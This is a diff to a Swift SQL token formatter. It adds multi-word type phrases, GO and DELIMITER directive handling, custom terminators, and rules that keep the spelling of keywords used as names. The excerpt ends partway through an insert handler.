dataTypes: Set + // Multi-word types by their first word, longest first: `CHARACTER VARYING`, `TIMESTAMP WITH TIME ZONE`. + private let typePhrases: [String: [[String]]] private let rewritesFunctionCase: Bool + private let rewritesDataTypeCase: Bool private let indentUnit: String init( options: SQLFormatterOptions, dialectFunctions: Set = [], dialectDataTypes: Set = [], - rewritesFunctionCase: Bool + rewritesFunctionCase: Bool, + rewritesDataTypeCase: Bool = false ) { self.options = options self.functions = Self.builtinFunctions.union(dialectFunctions) self.dataTypes = Self.builtinDataTypes.union(dialectDataTypes) + var phrases: [String: [[String]]] = [:] + for type in dataTypes where type.contains(" ") { + let words = type.uppercased().split(separator: " ").map(String.init) + if let first = words.first { phrases[first, default: []].append(words) } + } + self.typePhrases = phrases.mapValues { $0.sorted { $0.count > $1.count } } self.rewritesFunctionCase = rewritesFunctionCase + self.rewritesDataTypeCase = rewritesDataTypeCase self.indentUnit = options.indentUnit } private var output = FormatterOutput() + private var stream: [SQLToken] = [] + private var spacedBefore: [Bool] = [] + private var lineBrokenBefore: [Bool] = [] + private var position = 0 private var clauseStack: [ClauseContext] = [] private var afterNewline = true private var selectColumnPad = Pad(levels: 0) private var inSelectColumns = false private var skipCount = 0 - private var suppressNextSpace = false - private var caseBasePad = Pad(levels: 0) + private var gluePosition: Int? + private var casePads: [Pad] = [] + // The pad of the line each open block's `(` sits on. + private var blockOpeners: [Pad] = [] + // The pad of the line being written, as it reads once its list breaks. + private var linePad = Pad(levels: 0) + private var pendingLead: (kind: ListKind, pad: Pad)? private var selectColumnPadStack: [Pad] = [] private var openLists: [PendingList] = [] + // True between CREATE ... TABLE and its column list, so only that paren becomes a table body. + private var awaitsTableBody = false + // True between CREATE ... FUNCTION or PROCEDURE and its parameter list. + private var awaitsParameterList = false + // Where `@x ` declares a variable: a DECLARE, and a routine's header up to its AS or BEGIN. Anywhere else + // the word after a variable is an alias (`FROM @rows date`). + private var inDeclare = false + private var inRoutineHeader = false + // The word before each open inline paren, keyed by its index in `clauseStack`. + private var parenOpeners: [Int: String] = [:] + // The last token of the multi-word type being written, which takes the type's case as one word does. + private var typePhraseEnd = -1 + private var directiveOffsets: [Int] = [] private enum ClauseContext { case select, from, where_, join, caseExpr, subquery, with case insert, update, set, createTable, createTableBody - case inlineParen, windowParen + case inlineParen, windowParen, clause } // Indent levels render as the indent unit, alignment spaces as spaces after them. private struct Pad { var levels: Int var spaces: Int = 0 + + func adding(levels extraLevels: Int = 0, spaces extraSpaces: Int = 0) -> Pad { + Pad(levels: levels + extraLevels, spaces: spaces + extraSpaces) + } } private enum ListKind { - case select, set, conditions + case select, set, conditions, cte } private struct Separator { @@ -146,63 +196,209 @@ internal struct SQLTokenFormatter { let lineStart: Int var separators: [Separator] = [] var aliasOffsets: [Int: Int] = [:] + // The break between the clause keyword and its first item, when items go below the keyword. + var hasLead = false + var itemPad: Pad? } // True after BETWEEN, so the next AND stays inline. private var afterBetween = false - private var newlinesAfterSemicolon: [Int: Int] = [:] + private var newlinesAfterTerminator: [Int: Int] = [:] + + // The next token writes with no space before it only while nothing was written since this was set. + private var suppressNextSpace: Bool { + get { gluePosition == output.count } + set { gluePosition = newValue ? output.count : nil } + } // MARK: - Public - mutating func format(_ tokens: [SQLToken]) -> String { - newlinesAfterSemicolon.removeAll() - var meaningfulIndex = -1 + // `directiveLines` reads the lines a text holds client directives on, under the grammar the tokens came from. + mutating func format(_ tokens: [SQLToken], directiveLines: ((String) -> Set)? = nil) -> String { + stream.removeAll() + spacedBefore.removeAll() + lineBrokenBefore.removeAll() + newlinesAfterTerminator.removeAll() + var pendingSpace = false + var pendingBreak = false for (i, token) in tokens.enumerated() { - if token.type == .whitespace { continue } - meaningfulIndex += 1 - if token.type == .punctuation && token.value == ";" { - var nlCount = 0 + if token.type == .whitespace { + pendingSpace = true + pendingBreak = pendingBreak || token.value.utf16.contains(0x0A) + continue + } + if Self.isTerminator(token) { + var count = 0 for j in (i + 1).. SQLToken? in - t.type == .whitespace ? nil : t - } - - for mi in meaningful.indices { + for index in stream.indices { if skipCount > 0 { skipCount -= 1 continue } + position = index + processToken(stream[index], prev: token(at: index - 1), next: token(at: index + 1)) + } - let token = meaningful[mi] - let next: SQLToken? = mi + 1 < meaningful.count ? meaningful[mi + 1] : nil - let prev: SQLToken? = mi > 0 ? meaningful[mi - 1] : nil - let next2: SQLToken? = mi + 2 < meaningful.count ? meaningful[mi + 2] : nil + closeLists(atOrDeeperThan: 0) + var text = output.string + if let directiveLines { + text = Self.joiningManufacturedDirectives( + in: text, + written: writtenDirectiveLines(), + directiveLines: directiveLines + ) + } + return text.trimmingCharacters(in: .whitespacesAndNewlines) + } - processToken(token, mi: mi, prev: prev, next: next, next2: next2) + // The line each directive was written on, counted in one pass: a script can hold tens of thousands of `GO` lines. + private func writtenDirectiveLines() -> Set { + var lines: Set = [] + var line = 0 + var cursor = 0 + for offset in directiveOffsets { + while cursor < offset { + if output.bytes[cursor] == UInt8(ascii: "\n") { line += 1 } + cursor += 1 + } + lines.insert(line) } + return lines + } - closeLists(atOrDeeperThan: 0) - return output.string.trimmingCharacters(in: .whitespacesAndNewlines) + // A word alone on a line can read as a client directive the input never had: a column named `go` left alone by + // a leading comma is a `GO` batch separator, and the server then gets two broken batches. Such a line joins the + // line before it, or the line after it when the one before is a line comment, so formatting adds no directive. + private static func joiningManufacturedDirectives( + in text: String, + written: Set, + directiveLines: (String) -> Set + ) -> String { + var lines = text.components(separatedBy: "\n") + var kept = written + // A join can leave `go` before a line that starts with a number, which reads as `GO 5`; one more pass fixes it. + for _ in 0..<3 { + let manufactured = directiveLines(lines.joined(separator: "\n")).subtracting(kept) + guard !manufactured.isEmpty else { break } + var joined: [String] = [] + joined.reserveCapacity(lines.count) + var joinedKept: Set = [] + var index = 0 + while index < lines.count { + let line = lines[index] + defer { index += 1 } + guard manufactured.contains(index) else { + if kept.contains(index) { joinedKept.insert(joined.count) } + joined.append(line) + continue + } + if let previous = joined.last, !joinedKept.contains(joined.count - 1), canTakeJoinedCode(previous) { + joined[joined.count - 1] = previous + " " + line.drop { $0 == " " || $0 == "\t" } + } else if index + 1 < lines.count, !kept.contains(index + 1), canTakeJoinedCode(lines[index + 1]) { + joined.append(line + " " + lines[index + 1].drop { $0 == " " || $0 == "\t" }) + index += 1 + } else { + joinedKept.insert(joined.count) + joined.append(line) + } + } + lines = joined + kept = joinedKept + } + return lines.joined(separator: "\n") + } + + private static func canTakeJoinedCode(_ line: String) -> Bool { + let trimmed = line.trimmingCharacters(in: .whitespaces) + return !trimmed.isEmpty && !trimmed.hasPrefix("--") && !trimmed.hasPrefix("#") && !trimmed.hasPrefix("//") + } + + private func token(at index: Int) -> SQLToken? { + stream.indices.contains(index) ? stream[index] : nil + } + + private var next2: SQLToken? { + token(at: position + 2) + } + + // The next token that is not a comment, for decisions that skip nothing. + private var nextCode: SQLToken? { + stream[(position + 1)...].first { $0.type != .comment } + } + + // A custom delimiter (`DELIMITER //`) arrives as punctuation, like the `;` it stands in for. + private static func isTerminator(_ token: SQLToken) -> Bool { + token.type == .punctuation && !["(", ")", ",", "."].contains(token.value) } // MARK: - Token Processing - private mutating func processToken(_ token: SQLToken, mi: Int, prev: SQLToken?, next: SQLToken?, next2: SQLToken?) { + private mutating func processToken(_ token: SQLToken, prev: SQLToken?, next: SQLToken?) { + trackDeclarations(token) + if let lead = pendingLead, token.type != .comment, + !(lead.kind == .select && ["DISTINCT", "ALL"].contains(token.upperValue)), + !(lead.kind == .cte && token.upperValue == "RECURSIVE") { + pendingLead = nil + if let index = openLists.lastIndex(where: { $0.kind == lead.kind && $0.depth == indent }) { + openLists[index].hasLead = true + } + appendSeparator(kind: lead.kind, inline: " ", broken: "\n" + render(lead.pad)) + afterNewline = false + suppressNextSpace = true + } + if position <= typePhraseEnd || startsTypePhrase() { + appendToken(typeCased(token)) + return + } switch token.type { case .comment: handleComment(token) + case .directive: + handleDirective(token) case .punctuation: - handlePunctuation(token, mi: mi, prev: prev, next: next) + handlePunctuation(token, prev: prev) case .keyword: - handleKeyword(token, prev: prev, next: next, next2: next2) + handleKeyword(token, prev: prev, next: next) + case .operator where token.value == "[": + if afterNewline { + output += indentStr() + "[" + } else { + output += suppressNextSpace || !spacedBefore[position] ? "[" : " [" + } + afterNewline = false + suppressNextSpace = true + // An array's elements are not the items of the list it sits in: `ARRAY[1, 2]` stays on one line. + parenOpeners[clauseStack.count] = "[" + clauseStack.append(.inlineParen) + case .operator where token.value == "]": + if currentContext == .inlineParen, parenOpeners[clauseStack.count - 1] == "[" { + clauseStack.removeLast() + } + writeGlued("]") + case .string where prev?.type == .string && lineBrokenBefore[position] && !afterNewline: + // SQL joins two string literals only across a line break, and PostgreSQL refuses `'foo' 'bar'` on one line. + let pad = linePad + newline() + linePad = pad + output += render(pad) + token.value + afterNewline = false + case .string where !spacedBefore[position] && prev?.type == .identifier && !afterNewline: + // `r'raw'`, `b'0101'`: a word written against a quote may introduce the literal, and apart it would not. + output += token.value + gluePosition = nil default: appendToken(token.value) } @@ -210,62 +406,108 @@ internal struct SQLTokenFormatter { private mutating func handleComment(_ token: SQLToken) { if !afterNewline { newline() } - output += token.value - output += "\n" + output += indentStr() + token.value + "\n" afterNewline = true } + // A `GO` or `DELIMITER` line ends what came before it and stays a line of its own. + private mutating func handleDirective(_ token: SQLToken) { + closeLists(atOrDeeperThan: 0) + if !afterNewline { newline() } + directiveOffsets.append(output.count) + output += token.value + "\n" + afterNewline = true + resetStatement() + } + + private static let statementStarters: Set = [ + "SELECT", "INSERT", "UPDATE", "DELETE", "MERGE", "SET", "WITH", "IF", "WHILE", "BEGIN", "END", "RETURN", + "EXEC", "EXECUTE", "PRINT", "OPEN", "FETCH", "CLOSE", "CREATE", "ALTER", "DROP", "TRUNCATE", + ] + + private mutating func trackDeclarations(_ token: SQLToken) { + guard Self.isWord(token) else { return } + let upper = token.upperValue + if currentContext == .createTable, upper == "FUNCTION" || upper == "PROCEDURE" { + awaitsParameterList = true + inRoutineHeader = true + } else if upper == "AS" || upper == "BEGIN" { + inRoutineHeader = false + } + if upper == "DECLARE" { + inDeclare = true + } else if Self.statementStarters.contains(upper) { + inDeclare = false + } + } + + private mutating func resetStatement() { + clauseStack.removeAll() + selectColumnPadStack.removeAll() + blockOpeners.removeAll() + casePads.removeAll() + linePad = Pad(levels: 0) + pendingLead = nil + inSelectColumns = false + awaitsTableBody = false + awaitsParameterList = false + inDeclare = false + inRoutineHeader = false + afterBetween = false + } + // MARK: - Punctuation - private mutating func handlePunctuation(_ token: SQLToken, mi: Int, prev: SQLToken?, next: SQLToken?) { + private mutating func handlePunctuation(_ token: SQLToken, prev: SQLToken?) { switch token.value { - case ";": - output += ";" - closeLists(atOrDeeperThan: 0) - let originalNewlines = newlinesAfterSemicolon[mi] ?? 0 - let newlineCount = min(max(originalNewlines, 1), 3) - output += String(repeating: "\n", count: newlineCount) - afterNewline = true - clauseStack.removeAll() - selectColumnPadStack.removeAll() - inSelectColumns = false - case ",": handleComma() - case "(": - handleOpenParen(next: next, prev: prev) - + handleOpenParen(prev: prev) case ")": handleCloseParen() - case ".": output += "." afterNewline = false suppressNextSpace = true - default: - appendToken(token.value) + handleTerminator(token) } } + private mutating func handleTerminator(_ token: SQLToken) { + if afterNewline { + output += indentStr() + token.value + } else { + output += token.value == ";" ? ";" : " " + token.value + } + closeLists(atOrDeeperThan: 0) + let originalNewlines = newlinesAfterTerminator[position] ?? 0 + let newlineCount = min(max(originalNewlines, 1), 3) + output += String(repeating: "\n", count: newlineCount) + afterNewline = true + resetStatement() + } + private mutating func handleComma() { if inSelectColumns && currentContext == .select { appendCommaSeparator(kind: .select, alignedTo: selectColumnPad) + } else if currentContext == .with && options.clauseItems == .newLine { + appendCommaSeparator(kind: .cte, alignedTo: base.adding(levels: 1)) } else if currentContext == .set { - appendCommaSeparator(kind: .set, alignedTo: Pad(levels: indent, spaces: Self.setAlignment)) + appendCommaSeparator(kind: .set, alignedTo: setItemPad) } else if currentContext == .createTableBody { switch options.commaPosition { case .trailing: output += ",\n" afterNewline = true case .leading: - output += "\n" + render(Pad(levels: indent)) + "," + output += "\n" + indentStr() + "," afterNewline = false suppressNextSpace = false } } else { - output += "," + writeGlued(",") } } @@ -278,13 +520,14 @@ internal struct SQLTokenFormatter { broken = "\n" + render(Pad(levels: pad.levels, spaces: max(pad.spaces - 2, 0))) + ", " } appendSeparator(kind: kind, inline: ", ", broken: broken) + linePad = pad afterNewline = false suppressNextSpace = true } - private mutating func handleOpenParen(next: SQLToken?, prev: SQLToken?) { - if next?.upperValue == "SELECT" { - output += suppressNextSpace ? "(" : " (" + private mutating func handleOpenParen(prev: SQLToken?) { + if nextCode?.upperValue == "SELECT" { + writeOpener() openBlock() return } @@ -293,74 +536,90 @@ internal struct SQLTokenFormatter { openBlock() return } - if clauseStack.contains(.createTable) && !clauseStack.contains(.createTableBody) { - output += " (" - output += "\n" + if awaitsTableBody { + awaitsTableBody = false + output += " (\n" afterNewline = true - suppressNextSpace = false + blockOpeners.append(linePad) clauseStack.append(.createTableBody) + linePad = base return } if prev?.upperValue == "OVER" { - output += "(" - afterNewline = false + writeGlued("(") suppressNextSpace = true clauseStack.append(.windowParen) return } + let opener = awaitsParameterList ? Self.parameterListOpener : prev?.upperValue ?? "" + awaitsParameterList = false // A structural keyword takes a space before its paren (`VALUES (`, `IN (`); a function call // or a sized type does not (`COUNT(*)`, `VARCHAR(255)`). - if let prevUpper = prev?.upperValue, prev?.type == .keyword, - !functions.contains(prevUpper), !dataTypes.contains(prevUpper) { - output += suppressNextSpace ? "(" : " (" - } else if currentContext == .insert && prev?.type == .identifier { - output += " (" + if typePhraseEnd == position - 1 { + writeGlued("(") + } else if let prev, prev.type == .keyword, !functions.contains(prev.upperValue), !dataTypes.contains(prev.upperValue) { + writeOpener() + } else if currentContext == .insert && Self.isQuotedOrPlainName(prev) { + writeOpener() + } else if prev?.value == "," { + writeOpener() } else { - output += "(" + writeGlued("(") } - afterNewline = false suppressNextSpace = true + parenOpeners[clauseStack.count] = opener clauseStack.append(.inlineParen) } + private static func isQuotedOrPlainName(_ token: SQLToken?) -> Bool { + guard let token else { return false } + return token.type == .identifier || (token.type == .string && token.value.hasPrefix("\"")) + } + + private mutating func writeOpener() { + if afterNewline { + output += indentStr() + "(" + } else { + output += suppressNextSpace ? "(" : " (" + } + afterNewline = false + } + private mutating func openBlock() { output += "\n" selectColumnPadStack.append(selectColumnPad) afterNewline = true - suppressNextSpace = false + blockOpeners.append(linePad) clauseStack.append(.subquery) + linePad = base } private mutating func handleCloseParen() { if currentContext == .inlineParen || currentContext == .windowParen { clauseStack.removeLast() - output += ")" - afterNewline = false - suppressNextSpace = false + writeGlued(")") return } if let idx = clauseStack.lastIndex(where: Self.isBlockContext) { closeLists(atOrDeeperThan: indent) clauseStack.removeSubrange(idx...) - output += "\n" + indentStr() + ")" + let opener = blockOpeners.popLast() ?? Pad(levels: 0) + output += (afterNewline ? "" : "\n") + render(opener) + ")" + linePad = opener afterNewline = false inSelectColumns = clauseStack.contains(.select) if let saved = selectColumnPadStack.popLast() { selectColumnPad = saved } - suppressNextSpace = false return } - output += ")" - afterNewline = false - suppressNextSpace = false + writeGlued(")") } // MARK: - Keywords - private mutating func handleKeyword(_ token: SQLToken, prev: SQLToken?, next: SQLToken?, next2: SQLToken?) { - // A word beside a dot is part of a qualified name (`e.end`, `dbo.len(x)`, `key.id`), and a - // name keeps its spelling on an engine with case-sensitive identifiers. + private mutating func handleKeyword(_ token: SQLToken, prev: SQLToken?, next: SQLToken?) { + // A word beside a dot is part of a qualified name (`e.end`, `dbo.len(x)`, `key.id`). if prev?.value == "." || next?.value == "." { appendToken(token.value) return @@ -379,15 +638,17 @@ internal struct SQLTokenFormatter { handleAndOr(kw: kw, upper: upper) case "JOIN": handleClauseKeyword(kw: kw, context: .join) - case "INNER", "LEFT", "RIGHT", "FULL", "CROSS", "NATURAL": - handleJoinPrefix(token, kw: kw, next: next, next2: next2) - case "OUTER": - break // absorbed by the JOIN prefix handler + case "INNER", "LEFT", "RIGHT", "FULL", "CROSS", "NATURAL", "OUTER": + handleJoinPrefix(token, prev: prev, next: next) case "ON": handleOn(kw: kw) - case "OVER", "PARTITION", "BY", "ALL", "INTO", "TABLE": - appendToken(kw) + case "OVER", "PARTITION", "BY", "ALL", "INTO": + appendToken(isName(token) ? token.value : kw) + case "TABLE": + if currentContext == .createTable { awaitsTableBody = true } + appendToken(isName(token) ? token.value : kw) case "AS": + awaitsTableBody = false recordAliasIfTopLevel() appendToken(kw) case "BETWEEN": @@ -395,8 +656,10 @@ internal struct SQLTokenFormatter { appendToken(kw) case "ORDER", "GROUP": handleOrderGroup(kw: kw, next: next) - case "HAVING", "LIMIT", "OFFSET": - handleClauseKeyword(kw: kw, context: nil) + case "HAVING": + handleClauseKeyword(kw: kw, context: .where_, list: .conditions) + case "LIMIT", "OFFSET": + handleClauseKeyword(kw: kw, context: .clause) case "UNION", "INTERSECT", "EXCEPT", "MINUS": handleSetOperation(upper: upper, kw: kw, next: next) case "CASE": @@ -404,8 +667,7 @@ internal struct SQLTokenFormatter { case "WHEN", "ELSE": handleWhenElse(kw: kw) case "THEN": - output += " " + kw - afterNewline = false + appendToken(kw) case "END": handleEnd(kw: kw) case "WITH": @@ -414,7 +676,7 @@ internal struct SQLTokenFormatter { handleInsert(kw: kw, prev: prev, next: next) case "VALUES": // `a = VALUES(a)` in MySQL's ON DUPLICATE KEY UPDATE is a function call. - if prev?.type != .operator { newline() } + if prev?.type != .operator && !isInsideNestedExpression { breakLine() } appendToken(kw) case "UPDATE": handleStatementStart(kw: kw, prev: prev, context: .update) @@ -425,50 +687,247 @@ internal struct SQLTokenFormatter { case "CREATE": handleStatementStart(kw: kw, prev: prev, context: .createTable) default: - appendToken(cased(token, next: next)) + appendToken(cased(token, prev: prev, next: next)) } } - // `count` and `date` can name columns, so only a call takes the function case, and only where the - // engine accepts any spelling of the function. - private func cased(_ token: SQLToken, next: SQLToken?) -> String { + // `count` and `date` can name columns, so only a call takes the function case, and a word standing where a name + // stands keeps the spelling it was written in. + private func cased(_ token: SQLToken, prev: SQLToken?, next: SQLToken?) -> String { let upper = token.upperValue - if functions.contains(upper) { - guard rewritesFunctionCase, next?.value == "(" else { return token.value } - return options.functionCase.applied(upper: upper, original: token.value) + if functions.contains(upper), next?.value == "(" { + return rewritesFunctionCase ? options.functionCase.applied(upper: upper, original: token.value) : token.value + } + if isName(token) { + return token.value } if dataTypes.contains(upper) { + return isTypePosition(position) ? typeCased(token) : token.value + } + if functions.contains(upper) { return token.value } return options.keywordCase.applied(upper: upper, original: token.value) } + // MARK: - Types + + private static let parameterListOpener = "(parameters)" + private static let castFunctions: Set = ["CAST", "TRY_CAST", "SAFE_CAST"] + private static let parameterModes: Set = ["IN", "OUT", "INOUT", "VARIADIC"] + + // A word spelled like a type is a type only where the grammar puts one: a column definition, `CAST(x AS t)`, + // `x::t`, `RETURNS t`, `TYPE t`, a variable or parameter declaration, and the words that continue one + // (`DOUBLE PRECISION`). Anywhere else it may name a column (`date + 1`, `ORDER BY date`), and a name keeps its + // spelling. + private func isTypePosition(_ index: Int) -> Bool { + guard let prev = token(at: index - 1) else { return false } + let prevUpper = prev.upperValue + let beforePrev = token(at: index - 2) + switch prevUpper { + case "::", "RETURNS", "SETOF": + return true + case "TYPE": + return beforePrev.map { ($0.type != .keyword && Self.isNameToken($0)) || $0.upperValue == "DATA" } ?? false + case "AS": + if let beforePrev, Self.isVariable(beforePrev), declaresVariables { return true } + guard currentContext == .inlineParen, let opener = parenOpeners[clauseStack.count - 1] else { return false } + return Self.castFunctions.contains(opener) + default: + break + } + if Self.isVariable(prev), declaresVariables { return true } + let beforeUpper = beforePrev?.upperValue ?? "" + // A table variable's or table type's columns: `DECLARE @t TABLE (a int)`, `RETURNS @t TABLE (a int)`. + if currentContext == .inlineParen, parenOpeners[clauseStack.count - 1] == "TABLE", + ["(", ","].contains(beforeUpper), Self.isNameToken(prev) { + return true + } + if ["DECLARE", "COLUMN", "ADD", "MODIFY"].contains(beforeUpper), Self.isNameToken(prev), prevUpper != "IF" { + return true + } + if currentContext == .createTableBody, ["(", ","].contains(beforeUpper), Self.isNameToken(prev) { + return true + } + guard currentContext == .inlineParen, parenOpeners[clauseStack.count - 1] == Self.parameterListOpener else { + return false + } + if Self.isNameToken(prev), ["(", ","].contains(beforeUpper) || Self.parameterModes.contains(beforeUpper) { + return true + } + let next = token(at: index + 1)?.value + return ["(", ","].contains(prevUpper) && (next == "," || next == ")") + } + + private static func isWord(_ token: SQLToken) -> Bool { + token.type == .identifier || token.type == .keyword + } + + // A name as a declaration writes it: a word, or a quoted identifier (`"id"`, `[id]`, `` `id` ``). The tokenizer + // keeps `"..."` a string, as the query fingerprint reads it. + private static func isNameToken(_ token: SQLToken) -> Bool { + isWord(token) || (token.type == .string && token.value.hasPrefix("\"")) + } + + private static func isVariable(_ token: SQLToken) -> Bool { + token.type == .placeholder && token.value.hasPrefix("@") && !token.value.hasPrefix("@@") + } + + private var declaresVariables: Bool { + inDeclare || inRoutineHeader + } + + private func typeCased(_ token: SQLToken) -> String { + rewritesDataTypeCase ? options.dataTypeCase.applied(upper: token.upperValue, original: token.value) : token.value + } + + // A multi-word type in a type position is one type: every word takes its case, and the `WITH` of + // `TIMESTAMP WITH TIME ZONE` starts no statement. + private mutating func startsTypePhrase() -> Bool { + guard let candidates = typePhrases[stream[position].upperValue], Self.isWord(stream[position]) else { return false } + let match = candidates.first { words in + words.indices.dropFirst().allSatisfy { offset in + token(at: position + offset).map { Self.isWord($0) && $0.upperValue == words[offset] } ?? false + } + } + guard let match, isTypePosition(position) else { return false } + typePhraseEnd = position + match.count - 1 + return true + } + + // MARK: - Names + + // Values, actions and modifiers wherever they stand, never names (`SELECT DISTINCT *`, `ARRAY[1]`). + private static let valueWords: Set = [ + "NULL", "TRUE", "FALSE", "UNKNOWN", "DEFAULT", "MATCHED", "CASCADE", "RESTRICT", "DISTINCT", "ALL", "ARRAY", + "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", "CURRENT_USER", "SESSION_USER", + "LOCALTIME", "LOCALTIMESTAMP", "SYSDATE", "SYSTIMESTAMP", "ROWNUM", "LEVEL", + ] + + private static let operandStarters: Set = [ + "SELECT", "DISTINCT", ",", "(", "BY", "WHERE", "AND", "OR", "ON", "HAVING", "WHEN", "THEN", "ELSE", "SET", + "RETURNING", "FROM", "JOIN", "INTO", "UPDATE", "WITH", + "=", "<>", "!=", "<", ">", "<=", ">=", "<=>", "+", "-", "*", "/", "%", "||", + ] + + private static let operandEnders: Set = [ + ",", ")", "FROM", "AS", "ASC", "DESC", "NULLS", "WHERE", "GROUP", "ORDER", "HAVING", "LIMIT", "OFFSET", + "UNION", "INTERSECT", "EXCEPT", "MINUS", "WINDOW", "AND", "OR", "THEN", "ELSE", "END", "WHEN", "ON", "USING", + "SET", "VALUES", "JOIN", "INNER", "LEFT", "RIGHT", "FULL", "CROSS", "NATURAL", + "IN", "IS", "LIKE", "ILIKE", "BETWEEN", "NOT", + "=", "<>", "!=", "<", ">", "<=", ">=", "<=>", "+", "-", "*", "/", "%", "||", "::", "[", + ] + + private static let tableIntroducers: Set = ["FROM", "JOIN", "UPDATE", "INTO"] + + // Words that come between those and the table: `FROM ONLY t`, `JOIN LATERAL f(x) a`, ClickHouse's `INTO TABLE t`. + private static let tableModifiers: Set = [ + "ONLY", "LATERAL", "TABLE", "TEMPORARY", "TEMP", "UNLOGGED", "IGNORE", "LOW_PRIORITY", "HIGH_PRIORITY", + "DELAYED", "OUTFILE", "DUMPFILE", + ] + + // What can end a select item or a table reference, so a word after it is that item's alias. + private static func endsOperand(_ token: SQLToken) -> Bool { + switch token.type { + case .identifier, .number, .string, .placeholder: + return true + case .keyword: + return token.upperValue == "END" || valueWords.contains(token.upperValue) + default: + return token.value == ")" || token.value == "]" + } + } + + private static let aliasEnders: Set = [ + ",", ")", "FROM", "WHERE", "GROUP", "ORDER", "HAVING", "LIMIT", "OFFSET", "UNION", "INTERSECT", "EXCEPT", + "MINUS", "WINDOW", "QUALIFY", "INTO", "ON", "USING", "SET", "JOIN", "INNER", "LEFT", "RIGHT", "FULL", "CROSS", + "NATURAL", "OUTER", "PREWHERE", "SETTINGS", "FORMAT", "FETCH", + ] + + // Words that follow a table reference without naming it: ClickHouse's `FROM t FINAL`, `GLOBAL ANY JOIN`. + private static let tableReferenceModifiers: Set = ["FINAL", "GLOBAL", "ANY", "ASOF", "SEMI", "ANTI", "PASTE"] + + // `SELECT 1 rows`, `SELECT x date FROM t`, `FROM t first WHERE`: an alias written without AS keeps its spelling. + private func isImplicitAlias(_ upper: String, prev: SQLToken?, next: SQLToken?) -> Bool { + guard [.select, .from, .join].contains(currentContext), let prev, Self.endsOperand(prev), + !Self.tableReferenceModifiers.contains(upper) + else { + return false + } + guard let next else { return true } + return Self.isTerminator(next) || Self.aliasEnders.contains(next.upperValue) + } + + private static let constraintStarters: Set = [ + "CONSTRAINT", "PRIMARY", "FOREIGN", "UNIQUE", "CHECK", "EXCLUDE", "PERIOD", "LIKE", + ] + + // MySQL's `KEY idx (a)` against ClickHouse's `key String`. + private static let indexStarters: Set = ["KEY", "INDEX", "FULLTEXT", "SPATIAL"] + + // Engines that match names by exact case (ClickHouse, BigQuery tables, MySQL tables on Unix, SQL Server under a + // case-sensitive collation) read a re-cased name as another name, and MySQL titles a result column with the + // spelling it was selected by. So a keyword standing where a name stands keeps its spelling on every engine: an + // operand alone between a clause or operator and what ends it (`SELECT database, table`, `table = 'hits'`), an + // alias, a column in a column list. + private func isName(_ token: SQLToken) -> Bool { + let prev = stream[.. Int? { + var index = start + func word(_ offset: Int) -> String? { + stream.indices.contains(offset) && stream[offset].type == .keyword ? stream[offset].upperValue : nil + } + if word(index) == "NATURAL" { index += 1 } + if let side = word(index), ["LEFT", "RIGHT", "FULL", "INNER", "CROSS"].contains(side) { index += 1 } + if word(index) == "OUTER" { index += 1 } + guard index > start, let last = token(at: index), Self.isWord(last) else { return nil } + if last.type == .keyword, last.upperValue == "JOIN" { return index - start + 1 } + // APPLY is a word anywhere but right after CROSS or OUTER (`SELECT 1 apply`). + if last.upperValue == "APPLY", let before = word(index - 1), before == "CROSS" || before == "OUTER" { + return index - start + 1 + } + return nil + } + private mutating func handleOn(kw: String) { if currentContext == .join && options.joinCondition == .newLine { - newline() - output += render(Pad(levels: indent + 1)) + kw + breakLine() + linePad = base.adding(levels: 1) + output += render(linePad) + kw + afterNewline = false } else { - output += " " + kw + appendToken(kw) } - afterNewline = false } private mutating func handleOrderGroup(kw: String, next: SQLToken?) { + // `WITHIN GROUP (...)` + guard let next, next.upperValue == "BY" else { + appendToken(kw) + return + } + let byKw = options.keywordCase.applied(upper: "BY", original: next.value) + skipCount = 1 // Window specs and aggregates keep it inline: `OVER (ORDER BY x)`, `STRING_AGG(a, ',' ORDER BY a)` if clauseStack.contains(.windowParen) || isInsideNestedExpression { - if next?.upperValue == "BY" { - let byKw = options.keywordCase.synthesized("BY") - output += " " + kw + " " + byKw - afterNewline = false - skipCount = 1 - } else { - appendToken(kw) - } + appendToken(kw) + appendToken(byKw) return } closeLists(atOrDeeperThan: indent) inSelectColumns = false - if next?.upperValue == "BY" { - let byKw = options.keywordCase.synthesized("BY") - newline() - output += indentStr() + kw + " " + byKw - afterNewline = false - skipCount = 1 - } else { - appendToken(kw) - } + replaceTop(with: .clause) + breakLine() + appendToken(kw) + appendToken(byKw) } private mutating func handleSetOperation(upper: String, kw: String, next: SQLToken?) { @@ -586,49 +1081,63 @@ internal struct SQLTokenFormatter { } var line = kw - if upper == "UNION" && next?.upperValue == "ALL" { - let allKw = options.keywordCase.synthesized("ALL") - line += " " + allKw + if let next, next.upperValue == "ALL" || next.upperValue == "DISTINCT" { + line += " " + options.keywordCase.applied(upper: next.upperValue, original: next.value) skipCount = 1 } if clauseStack.contains(where: Self.isBlockContext) { - output += "\n" + indentStr() + line + "\n" + output += (afterNewline ? "" : "\n") + indentStr() + line + "\n" } else { - output += "\n\n" + line + "\n\n" + output += (afterNewline ? "\n" : "\n\n") + line + "\n\n" } afterNewline = true + linePad = base } private mutating func handleCase(kw: String) { - caseBasePad = inSelectColumns ? selectColumnPad : Pad(levels: indent) + casePads.append(linePad) appendToken(kw) clauseStack.append(.caseExpr) } private mutating func handleWhenElse(kw: String) { - let whenPad = Pad(levels: caseBasePad.levels + 1, spaces: caseBasePad.spaces) - output += "\n" + render(whenPad) + kw + let whenPad = (casePads.last ?? base).adding(levels: 1) + linePad = whenPad + output += (afterNewline ? "" : "\n") + render(whenPad) + kw afterNewline = false - suppressNextSpace = false } private mutating func handleEnd(kw: String) { - if clauseStack.last == .caseExpr { clauseStack.removeLast() } - output += "\n" + render(caseBasePad) + kw + guard clauseStack.last == .caseExpr else { + // `END` of a `BEGIN` block, `END IF`, `END LOOP` + breakLine() + appendToken(kw) + return + } + clauseStack.removeLast() + let casePad = casePads.popLast() ?? base + linePad = casePad + output += (afterNewline ? "" : "\n") + render(casePad) + kw afterNewline = false } private mutating func handleWith(kw: String, prev: SQLToken?) { // `TIMESTAMP WITH TIME ZONE` in a column list or a cast is a type, not a CTE. + let lineStart = output.count + (afterNewline ? 0 : 1) guard startStatement(kw: kw, prev: prev) else { return } clauseStack.append(.with) + if options.clauseItems == .newLine { + openLists.append(PendingList(kind: .cte, depth: indent, lineStart: lineStart)) + linePad = base.adding(levels: 1) + pendingLead = (.cte, linePad) + } } private mutating func handleInsert(kw: String, prev: SQLToken?, next: SQLToken?) { guard startStatement(kw: kw, prev: prev) else { return } - if next?.upperValue == "INTO" { 